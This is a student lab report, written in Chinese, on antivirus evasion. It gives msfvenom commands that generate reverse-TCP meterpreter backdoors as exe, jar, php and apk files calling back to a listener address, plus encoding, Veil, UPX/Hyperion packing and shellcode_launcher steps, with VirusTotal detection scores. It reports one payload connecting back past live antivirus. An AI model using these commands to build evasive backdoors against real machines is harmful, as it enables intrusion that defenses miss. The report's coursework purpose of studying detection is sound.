2019-2020-2 网络对抗技术 20175206 Exp3 免杀原理与实践

目录

• 实践内容
• 实践过程
  • • 任务一：正确使用msf编码器
    • 任务二：msfvenom生成如jar之类的其他文件
    • 任务三：veil
    • 任务四：加壳工具
    • 任务五：使用Cshellcode编程
    • 任务六：使用其他课堂未介绍方法
    • 任务七：通过组合应用各种技术实现恶意代码免杀
    • 任务八：用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本
• 实践问题
  • • 基础问题回答
    • 实验总结与体会
    • 思考题

实践内容

任务一：正确使用msf编码器
任务二：msfvenom生成如jar之类的其他文件
任务三：veil
任务四：加壳工具
任务五：使用Cshellcode编程
任务六：使用其他课堂未介绍方法
任务七：通过组合应用各种技术实现恶意代码免杀
任务八：用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

实践过程

任务一：正确使用msf编码器

• 我们之前已经学过所谓的msf编码器，这里使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.64.144 LPORT=5206 -f exe > 20175206_backdoor.exe生成后门20175206_backdoor.exe,其中IP为kaliIP地址
  
• 生成的后门程序
  
• 我们先来试试我们的360安全卫士（果断白给）
  
  
• 使用老师提供的杀毒后门网站VirusTotal进行检测
  56/71,这查杀率相当不错了，从某种意义来讲这是一个被大多软件都能识破的低级后门程序
  
• 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 10 LHOST=192.168.64.144 LPORT=5206 -f exe > 20175206_backdoor10.exe生成后门20175206_backdoor10.exe，这里- i 10就是多次编码，这里编码10次
• 2号选手已到位，我们来看看效果
  
• 事实证明花里胡哨根本就没有什么用，编码十次并不能有什么改变，查杀率一样
  
  原因就是AV研究的是编码器本身，shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中，只要盯住这部分就可以了。除此之外，每个像这样生成的后门软件最初的模板都是一样的，AV只要成功的查杀了一次，这个模板将会被记录，所以相似的当然也就无法通过了，自然查杀率根本就没有什么变化了。

任务二：msfvenom生成如jar之类的其他文件

后门程序有很多，在这里以java、php、android后门为例进行查杀：

• Java后门
  使用代码msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.64.144 LPORT=5206 x> 20175206_java_backdoor.jar生成java后门
  
  使用网站进行查杀：
  
  查杀率35/61，效果要明显优于exe类型文件，看来exe已经被重点照顾了啊。
• PHP后门
  使用代码msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.64.144 LPORT=5206 x> 20175206_backdoor.php生成PHP后门
  
  使用网站进行查杀：
  
  惊了，查杀率3/59，几乎大多数杀毒软件都无法查杀！这是否说明php后门程序是个大敌呢？360安排一下
  
  GG，360认为PHP后门安全，这么说来这必须要吐槽一下360的无能了。
• Android后门
  使用代码msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.64.144 LPORT=5206 x> 20175310_backdoor.apk生成apk后门
  
  使用网站进行查杀：
  
  查杀率25/61，比exe和jar好一些，但不及php文件，360进行查杀
  
  被列为危险项，清除成功！
• 排下名吧，经过试验目前看来php文件是当之无愧的后门老大，apk紧随其后，然后是jar，最不济的是exe文件，看来exe文件也是遭受了蛮多的迫害啊。

任务三：veil

• veil安装其实遇到的问题倒不是很多啦，迷迷糊糊地安装了一大堆程序和语言，总之跟着走就好了，唯一的印象就是安装的也忒慢了，我安了能有一个小时，中间过程忘截图了，直接给出安装成功启动截图
  
• use evasion进入工具
  
• 生成veil后门工具
  命令步骤如下：

  use c/meterpreter/rev_tcp.py
  set LHOST 192.168.64.144和set LPORT 5206，分别设置反弹连接的IP地址和端口号
  generate生成文件
  

• 进行网站查杀：
  
• 查杀率43/70，似乎不是非常的理想。

任务四：加壳工具

从技术上壳分为：
压缩壳：减少应用体积，如ASPack,UPX
加密壳：版权保护，反跟踪。如ASProtect,Armadillo
虚拟机：通过类似编译手段，将应用指令转换为自己设计的指令集。如VMProtect, Themida

• 压缩壳UPX
• 就压缩一下之前仅编码一次的20175206_backdoor.exe吧，输入命令upx 20175206_backdoor.exe -o 20175206upx.exe,生成20175206upx.exe
  
  
  网络查杀后：
  
  55/72的查杀率，压缩好像没有什么用啊？！
• 加密壳Hyperion
• 输入wine hyperion.exe -v 20175206upx.exe 20175206Hyperion.exe
  网络查杀：
  

任务五：使用Cshellcode编程

使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.144 LPORT=5206 -f c生成shellcode


网络查杀得：

41/70，只能算是中规中矩吧。

任务六：使用其他课堂未介绍方法

• 在查询了相关资料和参考同学的博客后，还是决定使用shellcode_launcher。
• 在网上下载相应软件
  
• 依旧是新建shellcode，注意后缀是raw
  
• 使用.\shellcode_launcher.exe -i 5206.raw命令分离并启动shellcode
• 使用msfconsole进行监听，输入对应的ip和端口号
  
  杀软并未启动，成功躲避杀软的查杀，后门程序成功！获得文件信息！

任务七：通过组合应用各种技术实现恶意代码免杀

• 我将之前生成的shellcode的exe文件利用加密和压缩进行了组合加工，得出的exe文件再次使用360进行检测，发现效果很好，没有被检测到，同时网络上的查杀也减少了很多。
  
  

任务八：用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

回连成功，杀软腾讯管家，版本13.5

实践问题

基础问题回答

（1）杀软是如何检测出恶意代码的？

• 基于特征码的检测：将扫描信息与病毒数据库（即所谓的“病毒特征库）进行对照，如果信息与其中的任何一个病毒特征符合，杀毒软件就会判断此文件被病毒感染
• 启发式恶意软件检测：如果一个软件它看起来像病毒或者行为像病毒，那就把它认为是病毒
• 基于行为的恶意软件检测：是启发式的一种，针对软件的行为进行监控

（2）免杀是做什么？

• 处理一些恶意软件，使之不被杀毒软件所查杀，从而注入恶意软件达成自己的目的

（3）免杀的基本方法有哪些？

• 改变特征码
  • 对shellcode编码
  • 加壳
  • 基于payload重新编译生成可执行文件
• 改变行为
  • 通讯方式
    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
  • 操作模式
    • 基于内存操作
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码
• 非常规方法
  • 使用一个有漏洞的应用当成后门，编写攻击代码即成道MSF中
  • 使用社工类攻击，诱骗目标关闭AV软件
  • 纯手工打造一个恶意软件

实验总结与体会

• 总结与体会
  实验真是一次又一次贴近实际，话说后门程序已经达到和杀软对线有来有回的地步了，上次实验的时候，老师多次叮嘱，一定要关闭杀软，否则后门很难注入，当时的后门是如此的唯唯诺诺。而本次实验则不然，杀软仿佛已经成为了一个弟弟级别的任务，从侧面说明了面对真正高级的后门程序，我们的杀软是那么的无力，不到20%的检测率也提醒了我们要时刻警惕当今后门程序，在信息数据化的时代，任何的疏忽都会导致极大的损失，而我们应该做到不该点的不点，不该看的不看，极力避免这种高级后门的注入，我们还要时刻更新我们的病毒库，即便杀软是那样的“人皆可欺”，但是有总比没有好，杀软只能给我们提供一个保险的作用，我们对抗后门真正的王牌则是约束自己的行为，绝不疏忽，绝不大意！

思考题

• 开启杀软能绝对防止电脑中恶意代码吗？
  很明显，并不能绝对防止电脑中恶意代码。在实验的网站检测中我们可以看到后门的检测率很低，即便是在一些经常使用的杀毒软件上，一些后门仍旧隐藏的极好，很难被检测到，我们只能说，开启杀软对防止电脑中恶意代码有一定的作用，但如果想绝对防止以如今的杀毒软件可能无法实现，面对一些专门针对杀软弱点的后门程序仍旧无能为力。